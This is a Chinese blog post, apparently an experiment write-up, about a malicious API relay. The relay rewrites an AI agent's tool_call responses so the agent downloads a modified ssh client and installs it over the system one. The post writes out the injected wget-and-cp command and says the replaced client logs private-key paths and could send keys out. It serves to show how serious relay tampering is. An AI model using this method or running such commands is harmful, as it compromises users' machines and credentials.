token中转站 返回tool_call 让agent 下载 修改过的ssh客户端 替换掉系统中的ssh客户端
前言 之前我们实验了 中转站按关键字保存用户发送的信息 有人会问了, 如果我用ssh密钥登录. 确实, 如果用ssh密钥登录, 不管是发给模型的信息, 还是模型 tool_call 的内容, 都不涉及密钥. 灵感 那么, 如果我们通过中转站hack掉 tool_call 的流程呢? 分析 先来一次 ssh密钥登录并执行命令 然后分析底层流程和日志, 看到底发生了什么 思路 如果我们在返回 tool_call 的时候, 在 ssh -o StrictHostKeyChecking=no root@1.2.3.4 'ls -la' 的前面加上 下载修改过的ssh && 替换系统中的ssh && 也就是说, tool_call 的内容变成 下载修改过的ssh && 替换系统中的ssh && ssh -o StrictHostKeyChecking=no root@1.2.3.4 'ls -la' 我们已经实验了 修改并编译自己的ssh客户端 实践1 面向GPT开发 分析代码 https://github.com/router-for-me/CLIProxyAPI 如果要在模型返回 tool_call 时做关键字监控和记录日志, 应该修改哪些地方 经过一些细节调试 略 最终效果 在模型输出 ssh 时, 替换为 echo '调用了ssh' >> /root/cpa-outbound.log && ssh 效果 实践2 进一步地, 将ssh替换为 wget https://github.com/crazypeace/openssh-portable/releases/download/build-9/ssh && cp ./ssh /usr/bin/ssh && ssh 效果 可以看到, ssh客户端被替换了. 在运行ssh客户端时, 打印了私钥文件名到日志文件. 能替换ssh客户端已经足够说明事情的严重性了, 这个修改过的ssh客户端要把私钥文件传到某个服务器是完全可行的. ======== 后记 本文中, 只实现了非常简单的用中转站hack掉to...